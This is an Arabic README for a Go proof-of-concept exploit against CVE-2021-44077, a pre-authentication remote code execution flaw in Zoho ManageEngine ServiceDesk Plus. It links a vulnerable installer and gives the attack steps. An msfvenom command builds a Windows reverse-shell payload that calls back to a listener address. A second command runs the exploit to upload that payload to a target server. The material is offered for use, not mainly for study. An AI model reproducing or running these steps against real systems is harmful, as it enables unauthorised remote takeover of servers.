Golang-CVE-2021-44077-POC

هذا الاستغلال هو ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة في Zoho ManageEngine ServiceDesk Plus < 11306.

يمكنك العثور على نسخة قابلة للاستغلال من هذا البرنامج هنا: http://archives.manageengine.com/service-desk/11303/ManageEngine_ServiceDesk_Plus_64bit.exe

لم أجد أي إصدار بلغة Golang لهذا الاستغلال، لذا إليك هذا الكود. الكود الخاص بي ليس مثاليًا، لذا استخدمه على مسؤوليتك الخاصة.

منشور المدونة:

https://www.pizzapower.me/2022/09/29/golang-proof-of-concept-exploit-for-cve-2021-44077-preauth-rce-in-manageengine-servicedesk-plus-11306/

التشغيل

أنشئ حمولة خبيثة في الدليل الحالي.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > msiexec.exe

ثم شغّل الاستغلال.

go run CVE-2021-44077.go -u "http://192.168.1.3:8080/" -f "/msiexec.exe"

-u هو عنوان URL القابل للاستغلال -f هو ملفك الخبيث